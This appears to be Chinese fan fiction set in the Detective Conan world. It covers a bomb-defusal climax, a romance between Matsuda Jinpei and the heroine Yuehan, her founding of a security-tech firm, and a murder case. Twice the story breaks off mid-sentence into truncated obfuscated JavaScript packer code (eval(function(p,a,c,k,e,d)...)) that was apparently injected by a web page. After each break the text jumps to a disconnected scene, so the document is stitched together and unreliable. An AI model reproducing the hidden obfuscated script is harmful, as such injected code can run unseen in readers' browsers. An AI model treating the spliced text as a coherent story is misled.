半小时前,警方接到凶手的匿名电话,声称在米花市政大楼内安装了定时炸弹,要求警方在两小时内解开他留下的谜题,否则整栋大楼将化为废墟。消息一出,全城哗然。松田阵平作为□□处理的核心专家,第一时间带着装备奔赴现场,临走前,他只来得及给玥涵发了一条简短的信息:“待在安全地方,等我回来。” 玥涵没有听话地待在涵味居。她知道,这场爆炸案是《引爆摩天楼》剧情的最高潮,凶手的狡猾远超想象,她无法安心待在原地,等待一个未知的结果。她驱车赶到现场时,大楼周围已经拉起了数道警戒线,围观的人群被警方拦在远处,脸上满是惊恐与不安。她踮起脚尖,目光死死锁定着市政大楼的入口,那里不断有穿着防爆服的警员进进出出,却始终看不到那个熟悉的挺拔身影。 “距离爆炸倒计时,仅剩一小时。”现场的广播里传来冰冷的电子音,每一个字都像重锤一样砸在玥涵的心上。她拿出手机,一遍遍地拨打松田阵平的电话,听筒里却始终只有“嘟嘟嘟”的忙音——大楼内部因炸弹的信号屏蔽装置,所有通讯都已中断。焦虑像藤蔓一样疯狂地缠绕住她的心脏,让她几乎喘不过气。 就在这时,系统尖锐的预警声在脑海中炸开,带着前所未有的急促:“警告!检测到炸弹存在双重引爆机制!主□□为常规定时类型,底部隐藏有电磁感应式备用□□!常规拆除流程将触发备用装置,直接引爆炸弹!危险等级:SSS级!” 玥涵的脸色瞬间变得惨白,浑身的血液仿佛都在这一刻凝固了。她猛地想起松田阵平出发前说的话,他计划先拆除定时装置的核心部件,再处理其他结构。如果他按照常规流程操作,后果不堪设想!不行,她必须立刻把这个消息传给他! 她转身就往停车的方向跑,脑海里飞速运转着。市政大楼内部通讯中断,但涵味居在这附近有一家分店,为了方便配送和管理,分店安装了独立的内部通讯系统,覆盖范围恰好能辐射到市政大楼的后勤协调中心。或许,她可以通过这个系统联系上现场的人员! 驱车赶到涵味居分店时,店员们正在收拾东西准备临时停业。“玥涵姐,你怎么来了?外面都在传市政大楼有炸弹……”店长看到她慌张的样子,连忙迎上来。“没时间解释了!”玥涵一把推开店门,快步走到后台的通讯设备前,手指颤抖却迅速地调试着频道,“立刻帮我连接市政大楼后勤协调中心的通讯频率,我有紧急情况要传达!” 店员们不敢耽搁,立刻围过来帮忙。通讯设备发出滋滋的电流声,频道在一次次调试中不断切换,每一秒的延迟都像在凌迟玥涵的神经。“快!再快一点!”她的声音带着抑制不住的颤抖,额头上布满了冷汗。终于,在尝试了数十个频道后,设备里传来了熟悉的声音——是萩原研二! “萩原警官!是我,玥涵!”玥涵立刻抓住话筒,声音急促却清晰,“松田现在在哪里?你马上转告他,炸弹有备用□□!是电磁感应式的,藏在炸弹底部!绝对不能按常规流程拆除定时核心,会触发备用装置的!” 话筒那头的萩原研二原本还带着几分沉稳,听到这话,声音瞬间变得凝重:“我知道了!我立刻去找松田!”通讯被匆匆挂断,玥涵握着话筒的手依旧在颤抖,她靠在墙上,深吸了好几口气,才勉强稳住摇摇欲坠的身体。她不知道萩原研二能不能及时找到松田,也不知道松田有没有已经开始拆除操作,所有的未知都像沉重的石头,压得她喘不过气。 此时的米花市政大楼内部,气氛已经紧张到了极点。松田阵平穿着厚重的防爆服,半跪在炸弹面前,额头上的汗水顺着脸颊滑落,滴在防护服上,晕开一小片湿痕。炸弹被安装在大楼顶层的会议室中央,外壳是特制的金属材质,上面布满了复杂的线路,定时显示屏上的数字正在飞速跳动:00:47:23。 柯南蹲在他身边,手里拿着凶手留下的谜题纸条,眉头紧紧皱起:“凶手留下的谜题指向了建筑的承重结构,可能是在暗示炸弹的触发与结构稳定性有关。”松田阵平没有说话,专注地用工具拨开炸弹表面的线路,指尖稳定得惊人。他的脑海里只有一个念头:必须在倒计时结束前拆除炸弹,不能让任何无辜的人受到伤害,更不能让玥涵为自己担心。 就在他准备用剪线钳剪断定时装置的核心线路时,急促的脚步声从门口传来。“松田!等一下!”萩原研二快步跑进来,语气急促,“玥涵传来消息,炸弹有备用□□,是电磁感应式的,藏在底部!不能按常规流程拆!” 松田阵平的剪线钳停在了半空中,心脏猛地一缩。他低头看向炸弹底部,因为角度问题,那里的结构被完全遮挡,不仔细检查根本发现不了异常。如果不是玥涵及时提醒,他刚才的那一剪,就会直接将所有人推向死亡的深渊。一股后怕瞬间席卷了他的全身,紧接着,是难以言喻的温暖与感激——他的女孩,再一次在关键时刻,为他挡住了致命的危险。 “我知道了。”松田阵平深吸一口气,迅速调整好状态,眼神重新变得锐利,“柯南,帮我递一下内窥镜。”柯南立刻将随身携带的内窥镜递过去,眼神里满是敬佩。松田阵平将内窥镜的探头伸到炸弹底部,屏幕上清晰地显示出隐藏在线路深处的备用装置——一个小巧的电磁感应器,连接着独立的炸药包,只要核心线路被剪断,电磁感应消失,备用装置就会立刻启动。 “好狡猾的设计。”松田阵平的眼神变得冰冷。他放下剪线钳,重新梳理线路结构。备用装置的线路比主装置更隐蔽,且与主线路缠绕在一起,稍有不慎就会触发。倒计时还在继续:00:35:11。时间越来越紧迫,周围的警员们都屏住了呼吸,连大气都不敢出。 “松田警官,电磁感应装置需要稳定的电流才能维持,是不是可以先切断它的供电线路?”柯南突然开口,指着屏幕上的一根红色线路,“这根线路的材质和其他线路不同,应该是备用装置的供电线。”松田阵平顺着他指的方向看去,仔细观察后,点了点头:“你说得对。但这根线路和主线路缠绕在一起,剪的时候必须精准,不能碰到其他线路。” 他拿起特制的绝缘剪线钳,调整好角度,目光死死锁定着那根红色线路。防爆服的厚重让动作变得有些笨拙,每一个细微的移动都需要耗费巨大的精力。倒计时的数字在眼前跳动,00:20:05,00:19:03,00:18:56……周围的空气仿佛都凝固了,只剩下剪线钳开合的细微声响和众人急促的呼吸声。 玥涵在分店的通讯设备前焦急地等待着,每一秒都像一个世纪那么漫长。她不知道里面的情况如何,只能一遍遍地在心里祈祷。通讯设备里偶尔传来零星的电流声,却再也没有任何清晰的对话。她走到窗边,望着远处的市政大楼,阳光穿过云层,在大楼的玻璃幕墙上反射出刺眼的光芒,却照不进她心中的阴霾。 大楼内部,松田阵平的指尖终于触碰到了红色线路。他深吸一口气,将所有的注意力都集中在指尖,剪线钳缓缓闭合。“咔嚓”一声轻响,红色线路被精准剪断。内窥镜的屏幕上,备用装置的指示灯瞬间熄灭,警报解除的提示短暂亮起。松田阵平没有丝毫放松,立刻转向主定时装置,开始拆除核心部件。 倒计时的数字越来越小,00:05:10,00:04:32,00:03:15……柯南在一旁帮他递工具,时不时提醒他线路的走向。两人配合得越来越默契,每一个动作都精准而迅速。汗水浸透了松田阵平的衣衫,防爆服里的温度越来越高,他却仿佛没有察觉,眼中只有那个不断跳动的倒计时数字。 “还有最后一根线!”柯南的声音带着一丝紧张。松田阵平握着剪线钳,对准最后一根蓝色线路。定时显示屏上的数字已经不足一分钟:00:00:58,00:00:57……他的脑海里闪过玥涵的笑容,闪过两人在涵味居的温馨日常,闪过樱花树下的深情告白。“玥涵,等我。”他在心里默念,指尖猛地用力。 “咔嚓!” 剪线钳落下的瞬间,定时显示屏上的数字停在了00:00:10,随即彻底熄灭。炸弹的警报声戛然而止,整个会议室陷入了短暂的寂静,紧接着,爆发出雷鸣般的欢呼声。“成功了!我们成功了!”警员们激动地拥抱在一起,眼眶都红了。松田阵平缓缓放下工具,摘下防爆头盔,露出满是汗水的脸庞,嘴角终于扬起了一抹释然的笑容。 他第一时间拿出手机,信号已经恢复。指尖颤抖着拨通了玥涵的电话,电话几乎在瞬间被接起,听筒里传来玥涵带着哭腔的声音:“松田……你怎么样?炸弹拆完了吗?”“嗯,拆完了。”松田阵平的声音带着一丝疲惫,却无比温柔,“我没事,让你担心了。” 挂了电话,松田阵平快步跑出会议室,朝着大楼入口的方向跑去。他迫不及待地想要见到玥涵,想要把她紧紧拥入怀中,告诉她自己平安回来了。 炸弹解除的提示音在米花市政大楼顶层响起时,楼外的欢呼声如潮水般涌来,冲破了连日来笼罩在城市上空的阴霾。松田阵平摘下厚重的防爆头盔,额前的碎发被汗水浸透,紧紧贴在饱满的额头上,胸腔里剧烈起伏着,不是因为疲惫,而是劫后余生的庆幸,以及对某个人无法抑制的思念。 他几乎是踉跄着跑出消防通道,脚步急切地穿过人群。警戒线外,密密麻麻的人群里,他一眼就锁定了那个穿着浅杏色外套的身影。玥涵站在不远处的梧桐树下,双手紧紧攥着衣角,眼眶泛红,看到他跑出来的瞬间,所有的担忧与不安都化作了滚烫的泪水,顺着脸颊滑落。 “玥涵!”松田阵平的声音带着一丝沙哑,却穿透了嘈杂的欢呼声。他快步冲过去,不顾周围警员和围观群众的目光,一把将她紧紧拥入怀中。力道大得仿佛要将她嵌进自己的骨血里,手臂死死地环着她的腰,下巴抵在她的发顶,深吸一口气,鼻尖萦绕着她身上淡淡的、熟悉的馨香,这才彻底感受到了“平安”的真实感。 “松田……你回来了。”玥涵的声音带着浓重的哭腔,双手紧紧抱住他的后背,指甲几乎要嵌进他的警服里。所有的等待、焦虑、恐惧,在这一刻都有了归宿。她能清晰地感受到他沉稳有力的心跳,感受到他身体的温度,知道他真的平安无事,心中悬着的巨石终于落地。 “嗯,我回来了。”松田阵平的声音带着一丝后怕,更带着难以言喻的温柔,“对不起,让你担心了。”他轻轻拍着她的背,动作轻柔地安抚着,在她的发间印下一个带着汗水咸味却无比真挚的吻。周围的欢呼声渐渐平息,大家都默契地看着这对经历了生死考验的恋人,眼神里满是祝福。萩原研二靠在警车旁,嘴角扬起欣慰的笑容,拿出手机,再次定格下这温暖的一幕。 柯南站在不远处,看着相拥的两人,眼镜后的眼睛里满是通透。他能理解松田阵平此刻的心情,也明白玥涵在这场危机中起到的关键作用。如果不是她及时传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其中一个男人穿着浅灰色的休闲西装,气质温和,眉眼间带着淡淡的笑意,正是之前在食材市场遇到的诸伏景光。另一个男人穿着白色的衬衫,肤色是健康的小麦色,笑容阳光,眼神锐利,给人一种可靠又亲切的感觉。“这是玥涵,我的女朋友。”松田阵平介绍时,语气里满是骄傲,仿佛在展示自己最珍贵的宝藏。 “玥涵小姐,又见面了。”诸伏景光率先开口,语气温柔,递上一个精致的小盒子,“之前谢谢你的帮忙,这是我亲手做的曲奇饼干,希望你喜欢。”玥涵接过盒子,感受到盒子里传来的温热触感,心中一暖:“谢谢你,景光先生。之前也是举手之劳,不用这么客气。” “你好,玥涵小姐,我叫安室透。”阳光开朗的男人伸出手,笑容温暖,“早就听萩原和松田提起你了,说你不仅温柔善良,还非常聪慧勇敢。今天能够见到你,很荣幸。”玥涵伸出手,与他轻轻握了握:“你好,安室先生。我也经常听松田提起你们,说你们是他最重要的伙伴。” “我们可都是松田的‘老战友’了。”萩原研二笑着走上前,拍了拍松田阵平的肩膀,“不过现在,我们的队伍又多了一位重要的成员。玥涵小姐,欢迎加入我们。”他的语气真诚,眼神里满是善意。玥涵看着眼前这几个真诚温暖的人,心中涌起一股强烈的归属感。她知道,自己在这个世界,终于不再是孤单一人,她有了爱人,也有了可以信任的伙伴。 晚上,松田阵平提议在涵味居聚餐。涵味居早就打烊了,玥涵特意让伙计们提前准备了丰盛的饭菜。店内的灯光温暖而柔和,照亮了一张张带着笑容的脸庞。餐桌上,摆满了各式各样的菜肴,有松田阵平喜欢的馄饨,有诸伏景光爱吃的清淡小菜,有安室透钟爱的甜品,还有萩原研二念叨了很久的小笼包。 大家围坐在餐桌旁,一边品尝美食,一边聊着天。萩原研二兴致勃勃地讲述着松田阵平在警校时的糗事,引得众人哈哈大笑。松田阵平虽然嘴上说着“别乱讲”,眼神里却没有丝毫不满,反而带着淡淡的笑意。诸伏景光安静地听着,偶尔补充一两句,语气温柔。安室透则和玥涵聊起了料理的技巧,两人相谈甚欢。 “玥涵小姐,你的厨艺真的很棒,比我吃过的很多餐厅都要好吃。”安室透由衷地赞叹道。玥涵笑了笑:“谢谢你的夸奖。我只是喜欢做饭,觉得能让喜欢的人吃到好吃的东西,是一件很幸福的事。”她说着,下意识地看向松田阵平,眼神温柔。松田阵平也正好在看她,四目相对,空气中泛起淡淡的甜蜜。 聚餐结束后,伙计们已经提前离开,店内只剩下他们五个人。松田阵平牵着玥涵的手,走到窗边,看着窗外宁静的夜色。“玥涵,”他轻声开口,语气里带着一丝郑重,“这场爆炸案,让我知道,我不能没有你。” 玥涵的心猛地一跳,转头看向他。松田阵平从口袋里拿出一个小小的丝绒盒子,打开后,里面躺着一枚简约而精致的银戒指,戒指上镶嵌着一颗小小的蓝宝石,在灯光下散发着柔和的光芒。“这不是求婚戒指,”松田阵平的脸颊微微泛红,语气却无比坚定,“是我对你的承诺。我希望你能戴着它,知道无论我在哪里,无论遇到什么危险,我的心里都只有你,我一定会平安回到你身边。等这场风波彻底平息,我会用最正式的方式,向你求婚。” 玥涵的眼眶瞬间湿润了。她看着松田阵平认真的眼神,看着他手中的戒指,心中满是感动。她伸出手,轻声说:“我愿意。”松田阵平小心翼翼地将戒指戴在她的无名指上,戒指的大小刚刚好。 玥涵靠在他的怀里,听着他沉稳有力的心跳声。 10. 第 10 章 “玥涵姐,你又这么早。”林晚拿起抹布擦拭餐桌,语气里带着熟稔的心疼,“现在分店都走上正轨了,你完全不用这么拼。”玥涵回头冲她笑了笑,眼底还带着刚起床的浅淡倦意,却丝毫不影响眼神里的清亮:“习惯了早起盯着汤品,这可是咱们涵味居的招牌,一点都不能马虎。”她用长勺舀起一勺骨汤,仔细观察着汤汁的浓度,又轻轻吹凉尝了一口,满意地点点头,才往砂锅里加入适量的姜片和葱段。 七点刚过,涵味居的客人就陆续多了起来。熟客们熟门熟路地找好位置,随口喊着自己爱吃的餐品:“玥涵老板,一碗馄饨加份小笼包!”“还是老样子,葱油拌面多放醋!”玥涵在柜台后麻利地记下订单,偶尔抬头回应客人的招呼,脸上始终挂着温和的笑容。林晚穿梭在餐桌之间,上菜、收碗、结账,动作干脆利落,将前厅打理得井井有条。 忙到上午十点,客流渐渐稀疏,林晚才抽空坐在柜台边,递给玥涵一杯温水:“玥涵姐,这是各分店的月度报表,你过目。”她将一叠打印整齐的报表推到玥涵面前,语气轻快,“所有分店都实现了盈利,尤其是市中心那家,客流量比预期的还要多三成。”玥涵接过报表,认真地翻看着,指尖划过密密麻麻的数字,眼中露出欣慰的神色。 从一家小小的社区餐馆,到如今遍布米花町及周边区域的连锁品牌,涵味居的成长离不开她的心血,更离不开林晚的悉心打理。“晚晚,辛苦你了。”玥涵抬头看向林晚,语气真诚,“没有你,我根本没办法安心规划其他事。”林晚笑着摆了摆手:“玥涵姐说什么呢,这都是我应该做的。而且跟着你干,我也学到了很多东西。” 午后的阳光透过窗棂,在报表上投下细碎的光斑。玥涵靠在椅背上,轻轻揉了揉太阳穴,脑海里却不由自主地想起了不久前的爆炸案。当时系统预警及时,可警方的侦查设备却难以快速跟上凶手的节奏,若不是她冒险通过内部通讯传递消息,后果不堪设想。那一刻,一个清晰的念头在她心中愈发坚定——创办一家科技公司,研发更先进的安全防护与智能侦查设备。 这个想法并非一时冲动。在经营涵味居的过程中,她早已察觉到这个世界潜藏的危险,尤其是黑衣组织的阴影,让她明白仅靠餐饮行业的安稳,根本无法真正守护身边的人。而科技,或许能成为对抗危险的有力武器。既能为松田阵平他们的工作提供技术支撑,也能让自己的事业实现新的跃迁,更能为未来对抗黑衣组织积累实力。 傍晚时分,松田阵平如约来到涵味居。他穿着休闲的黑色夹克,褪去了警服的冷硬,多了几分随性。刚走进店门,就看到玥涵坐在窗边,面前摊着一张空白的草稿纸,手里拿着笔,却迟迟没有落下。“在想什么?这么入神。”他走过去,自然地坐在她对面,指尖轻轻敲了敲桌面。 玥涵回过神,看到是他,眼中瞬间亮起光芒,将自己创办科技公司的想法一五一十地告诉了他。她说着自己的规划,语速不自觉地加快,眼神里满是对未来的憧憬:“我想研发小型化、高精度的侦查设备,能精准识别□□残留,还能追踪信号源,这样你们执行任务时,就能少一些危险。” 松田阵平静静地听着,没有打断她。看着她眼中闪烁的光芒,听着她条理清晰的规划,他心中满是骄傲与心疼。他知道,她的这个想法,一半是为了自己,一半是为了守护这个世界。等她说完,他伸手握住她的手,指尖传来温热的触感,语气坚定:“我支持你。” 玥涵微微一怔,似乎没想到他会如此爽快地答应。“你不觉得这个想法太冒险了吗?科技行业竞争激烈,而且研发投入很大,风险也高。”她轻声说,语气里带着一丝不确定。松田阵平轻轻捏了捏她的指尖,眼神温柔而坚定:“有想法就去做,风险我陪你一起承担。你需要警视厅的需求信息,随时找我。我帮你整理警方在实际工作中遇到的技术痛点,或许能给你提供一些研发方向。” 接下来的几天,松田阵平利用工作之余,真的整理出了一份详细的需求清单。上面密密麻麻地记录着警方在□□排查、嫌疑人追踪、夜间侦查等方面遇到的难题,甚至标注了不同场景下对设备的具体要求。当他将这份清单交给玥涵时,她翻开一看,眼眶瞬间就热了。清单上的字迹工整有力,每一条都经过了仔细的梳理,能看出他的用心。 有了松田阵平的支持,玥涵更加坚定了信心。她开始着手筹备公司的各项事宜,首先要解决的就是核心研发人员的问题。通过多方打听和筛选,她锁定了一位名叫陈默的顶尖程序员。据说陈默技术过硬,却性格孤僻,拒绝了多家大型科技公司的邀请,一心只想做有意义的研发项目。 玥涵特意提前准备了详细的产品蓝图和商业规划,亲自登门拜访。陈默的住处简单朴素,客厅里堆满了各种电子设备和书籍。面对玥涵的来访,他显得有些冷淡,只是象征性地让她坐下。“我对商业化的项目不感兴趣。”他开门见山,语气疏离。 玥涵没有气馁,而是将产品蓝图推到他面前,语气真诚:“陈先生,我创办这家公司,不仅仅是为了盈利,更想研发出能真正帮助他人、减少危险的设备。你看,这是我根据警方的实际需求设计的智能便携式侦查仪,它体积小巧,便于携带,能解决很多一线警员的困扰。我希望能用技术守护更多人的安全,这也是我认为的‘有意义’。” 陈默低头看向蓝图,起初只是随意翻看,可越看,眼神越亮。蓝图上的设计新颖而实用,每一个细节都考虑到了实际应用场景,完全不像那些只为圈钱的商业项目。他抬起头,看向玥涵,眼神里多了几分探究:“你真的想做这个?”“我是认真的。”玥涵点点头,眼神清澈而坚定,“我知道研发过程会很艰难,但我有决心,也有足够的资金支持。我希望能和你一起,做出改变行业的产品。” 陈默沉默了片刻,突然站起身,走到书架前,拿出一本厚厚的技术手册,翻到其中一页递给玥涵:“这是我之前构思的一个侦查设备原型,和你的想法有些相似,但一直没有机会落地。”玥涵接过手册,仔细翻看,眼中满是惊喜。陈默的原型设计很有创意,正好能弥补她蓝图中的一些不足。 “我愿意加入。”陈默的语气终于缓和下来,眼中带着一丝期待,“我希望能把这个想法变成现实,真正用技术帮助别人。”玥涵心中一喜,站起身伸出手:“欢迎你加入,陈默。相信我们一定能做出优秀的产品。”陈默握住她的手,用力点了点头。 一个月后,“星涵科技”正式成立。公司选址在米花町一栋环境安静的写字楼里,办公区域不大,却被布置得简洁而温馨。开业当天,玥涵没有举办盛大的仪式,只邀请了松田阵平、萩原研二和几个核心员工。萩原研二带来了一大束娇艳的向日葵,笑着说:“祝星涵科技开业大吉,蒸蒸日上!”松田阵平则悄悄将玥涵拉到一边,从口袋里拿出一个精致的丝绒礼盒。 “开业礼物。”他将礼盒递给她,语气温柔。玥涵打开礼盒,里面躺着一条简约的银质项链,吊坠是一个小小的“涵”字,在灯光下散发着柔和的光芒。“喜欢吗?”松田阵平轻声问,眼神里满是期待。玥涵拿起项链,指尖轻轻摩挲着吊坠,眼眶微微泛红。她抬头看向松田阵平,踮起脚尖,在他脸颊上轻轻亲了一下:“喜欢,谢谢你阵平。有你在,就好。” 松田阵平的耳尖微微泛红,伸手将她揽入怀中,下巴抵在她的发顶,语气低沉而温柔:“恭喜你,玥涵。新的征程,我会一直陪着你。”阳光透过写字楼的窗户洒进来,落在两人相拥的身影上,勾勒出温暖的轮廓。 这家分店选址在商业与居民区的交汇处,开业三个月就凭借地道的口味和温馨的环境积累了大批熟客。刚核对完最后一项,玥涵抬头揉了揉肩膀,就看到熟客田中先生推门走进来,脸上却没有往日的爽朗笑容,反而皱着眉,神色凝重地找了个靠窗的位置坐下。“田中先生,还是老样子,一碗馄饨加份酱萝卜?”玥涵起身迎上去,语气温和。 田中先生点点头,声音有些沙哑:“麻烦你了,玥涵老板。”他双手交握放在桌上,指尖微微用力,眼神有些飘忽,像是在琢磨着什么难事。玥涵察觉到他的异常,却没有多问,只是轻声应道:“好嘞,稍等。”转身走进后厨时,她特意嘱咐厨师多煮一会儿馄饨,让口感更软糯些。 一碗热气腾腾的馄饨端上桌时,田中先生才勉强回过神。他拿起勺子,却没怎么动,只是低头看着碗里漂浮的葱花,过了好一会儿才抬头问玥涵:“玥涵老板,你知道这附近有没有僻静点的停车场?最好是监控少点的那种。”玥涵愣了一下,心中泛起一丝疑惑——田中先生平时开的是辆普通家用车,一直停在店门口的公共车位,怎么突然要找僻静的停车场? “僻静的停车场……往西边走两条街,有个老小区的侧门停车场,平时车不多,监控确实比较旧。”玥涵如实回答,又忍不住多问了一句,“田中先生,你是有什么急事吗?要是需要帮忙,说不定我能帮上点忙。”田中先生摇了摇头,勉强笑了笑:“没什么大事,就是临时要接个人,不方便被人看到。”说完,他匆匆吃了几口馄饨,结完账就快步离开了,脚步匆忙得像是在躲避什么。 玥涵望着他消失在街角的背影,心中的疑惑更重了。但每个人都有自己的私事,她也没有再多想,转身继续打理店里的事务。然而,她万万没想到,这竟是她最后一次见到活着的田中先生。 傍晚六点,正是晚餐高峰的开始,涵味居内座无虚席。玥涵在前台和后厨之间来回穿梭,刚帮一位客人点完单,店门口就传来一阵急促的脚步声,打破了店内的热闹氛围。三个穿着警服的身影快步走进来,为首的男人身形格外挺拔,肩膀宽阔,脸上带着几分沉稳的疲惫,眼神却锐利如鹰,扫过店内的瞬间,就让喧闹的环境瞬间安静了几分。 “谁是这家店的负责人?”男人的声音低沉有力,带着不容置疑的威严。玥涵立刻走上前,语气冷静:“警官您好,我是这里的负责人玥涵。请问有什么事吗?”男人亮出警官证:“我是搜查一课的伊达航,负责处理一起入室抢劫杀人案。根据调查,受害者田中宏最后一次露面就是在你这家店里,我们需要向你了解情况,同时调取店内的监控录像。” “田中先生……被杀了?”玥涵的瞳孔猛地一缩,上午田中先生凝重的神情和那句奇怪的问话瞬间涌上心头,让她忍不住攥紧了指尖。突如其来的噩耗让她有些恍惚,但她很快强迫自己冷静下来——现在不是慌乱的时候,配合警方调查才是最重要的。“好的,伊达警官,我现在就带你们去看监控。”她的声音虽然带着一丝不易察觉的颤抖,却依旧清晰稳定。 伊达航眼中闪过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“好的,我会仔细回忆的。”玥涵接过纸条,小心翼翼地放进口袋里。走出监控室时,店内的客人已经少了一些,剩下的客人也都在小声议论着刚才的事。玥涵深吸一口气,走到前厅,对伙计们使了个眼色,示意他们继续正常营业,自己则走到伊达航身边:“伊达警官,还有其他需要了解的吗?” 伊达航刚想开口,目光就被柜台后的一碗馄饨吸引了——那是伙计刚煮好的,还冒着热气,和监控里田中宏吃的一模一样。他奔波了一上午,还没来得及吃午饭,此刻闻到浓郁的香气,肚子忍不住咕咕叫了起来。玥涵察觉到他的目光,立刻说道:“伊达警官,你应该还没吃晚饭吧?不嫌弃的话,尝尝我们店的招牌馄饨,就当是我一点心意。” 伊达航愣了一下,刚想拒绝,就被玥涵推进了座位:“就当是感谢你为民除害,辛苦你了。”他看着眼前这个热情又细心的女老板,心中的疏离感少了几分,最终点了点头:“那就多谢了。”玥涵笑着转身走进后厨,特意嘱咐厨师多放些田中先生喜欢的酱萝卜。 一碗热气腾腾的馄饨端上桌时,伊达航拿起勺子,舀起一个放进嘴里。醇厚的骨汤包裹着鲜嫩的肉馅,口感软糯却不烂,瞬间驱散了身体的疲惫和寒意。他忍不住眼前一亮:“味道很正宗,难怪田中宏常来。”“喜欢就好。”玥涵坐在他对面,给他递了双筷子,“很多熟客都说,我们家的馄饨有家的味道。” 就在这时,店门被再次推开,松田阵平的身影出现在门口。他刚结束手头的工作,特意绕路过来接玥涵下班,看到店内的警员和伊达航,先是愣了一下,随即快步走过来。“伊达?你怎么在这儿?”他走到玥涵身边,自然地揽住她的肩膀,眼神里带着一丝询问。 “松田?”伊达航看到他,也有些意外,随即反应过来,笑着指了指玥涵,“原来这位就是你经常挂在嘴边的女朋友。我来查案,受害者是这家店的熟客,玥涵小姐很配合我们的调查,还请我吃了碗馄饨。”松田阵平低头看向玥涵,看到她眼底的一丝疲惫,心中泛起心疼,语气却依旧温和:“辛苦你了。” “不辛苦,就是有点意外。”玥涵靠在松田阵平的肩膀上,紧绷的神经终于放松了几分。伊达航看着两人亲密的互动,眼中满是欣慰的笑意:“松田,你眼光不错,玥涵小姐不仅冷静细致,还这么温柔体贴。”松田阵平嘴角上扬,语气带着一丝骄傲:“那是,也不看是谁的女朋友。” 轻松的氛围驱散了之前的凝重,三人闲聊了起来。伊达航说起自己和松田阵平在警校的趣事,松田阵平虽然嘴上说着“别老提那些糗事”,眼神里却满是怀念。玥涵坐在一旁安静地听着,偶尔补充一两句,看着两个男人熟稔的互动,心中涌起一股温暖的感觉——这就是松田的伙伴,可靠而真诚。 伊达航吃完馄饨,起身准备离开。他走到门口,转头对玥涵说:“玥涵小姐,再次感谢你的配合。以后要是遇到什么麻烦,或者想到关于案件的其他线索,随时给我打电话。”他顿了顿,又补充道,“松田的朋友,就是我的朋友,不用客气。”玥涵笑着点头:“谢谢伊达警官,你也多注意安全。” 送走伊达航和警员后,店内终于恢复了往日的热闹。松田阵平牵着玥涵的手,走到窗边的位置坐下,轻轻捏了捏她的指尖:“吓到了吧?”玥涵点点头,眼神里带着一丝后怕:“有点,上午还好好的人,晚上就没了。而且他问我的那些话,现在想起来,总觉得和他的案子有关。” “别想太多,警方会查清楚的。”松田阵平将她揽入怀中,轻轻拍着她的背,语气温柔,“以后我每天都来接你下班,不管是总店还是分店,都不许单独待到太晚。”玥涵靠在他的怀里,听着他沉稳的心跳声,心中的不安渐渐消散。她抬起头,在他的脸颊上轻轻亲了一下:“嗯,我听你的。” 11. 第 11 章 淡蓝色的实验台面上,零散摆放着电子元件和调试工具,陈默戴着黑色边框的眼镜,指尖在电路板上精准地焊接着最后一个接口,焊接枪的火花在昏暗的环境中一闪而过,发出细微的滋滋声。玥涵坐在旁边的观察椅上,手里拿着一本厚厚的技术手册,目光却紧紧盯着陈默的动作,眼底带着难以掩饰的期待。 “搞定了。”陈默放下焊接枪,摘下手套,将手中的设备递给玥涵。那是一台巴掌大小的黑色设备,线条流畅简洁,机身侧面配有多个接口,正面是一块高清显示屏,正是星涵科技的第一款核心产品——智能便携式侦查仪。玥涵接过设备,指尖触到冰凉的金属外壳,心中涌起一股难以言喻的激动。这不仅是她科技事业的第一个成果,更是她为守护身边人筑起的第一道技术屏障。 “最后一次功能测试。”陈默按下设备的开机键,显示屏瞬间亮起,发出柔和的蓝光。他将设备对准实验台角落隐藏的模拟□□残留样本,设备屏幕上立刻跳出精准的检测结果,还附带了残留成分的详细分析。“□□识别功能正常,误差率低于0.3%。”陈默报出数据,又切换到追踪模式,对着远处的信号源进行定位,“信号追踪功能稳定,定位精度能达到米级,夜视模式下也能正常工作。” 玥涵看着屏幕上清晰的检测数据,嘴角忍不住扬起一抹欣慰的笑容。这台设备完全契合了松田阵平之前整理的警方需求,甚至在部分功能上超出了预期。“辛苦你了,陈默。”她抬头看向陈默,语气真诚,“这段时间熬夜赶进度,你也该好好休息了。”陈默推了推眼镜,眼中难得露出一丝轻松:“能做出这样的产品,再辛苦也值得。接下来,就看市场的反馈了。” 第二天上午,玥涵带着两台调试好的智能便携式侦查仪,来到了警视厅。松田阵平早已在门口等候,他穿着笔挺的警服,看到玥涵的身影,眼中瞬间亮起光芒,快步走上前接过她手中的设备箱:“设备研发成功了?”“嗯,带来让你们测试看看。”玥涵笑着点头,跟着他走进警视厅的模拟训练场地。 训练场地内,伊达航正带着几名警员进行模拟排查训练。看到松田阵平和玥涵走进来,他立刻停下手中的动作,迎了上来:“玥涵小姐,这就是你说的智能侦查设备?”“是的,伊达警官。”玥涵打开设备箱,拿出一台侦查仪递给伊达航,“这款设备体积小巧,便于携带,能精准识别□□残留、追踪信号源,还具备夜视功能,具体的操作方法很简单,我给你们演示一下。” 她接过侦查仪,按下开机键,熟练地切换到□□识别模式,对着场地内预先隐藏的模拟□□走去。不过十几秒的时间,设备屏幕上就清晰地显示出模拟□□的位置和成分信息。“这么快?”伊达航眼中闪过一丝惊讶,他之前见过不少类似的侦查设备,最快也需要半分钟以上才能得出结果,而且精度远不如这台设备。 “让我试试。”松田阵平接过另一台侦查仪,走到模拟爆炸现场的另一侧。他按照玥涵演示的方法操作,很快就找到了另一处隐藏更深的模拟□□。他拿着设备来回测试了几次,又切换到信号追踪模式,对着远处的信号发射器进行定位,屏幕上的定位点精准地跟着信号源移动,没有丝毫偏差。 “太实用了。”松田阵平放下设备,语气里满是惊喜,“之前我们处理爆炸案时,光是排查□□残留就要耗费大量时间和精力,有时候还会因为设备精度不够而遗漏。有了这台设备,能节省至少一半的排查时间,还能提高安全性。”伊达航也点头表示认可,他拿着设备测试了追踪功能后,忍不住赞叹:“这个追踪功能对追捕嫌疑人帮助很大,尤其是在复杂的环境中,能精准锁定嫌疑人的位置。” 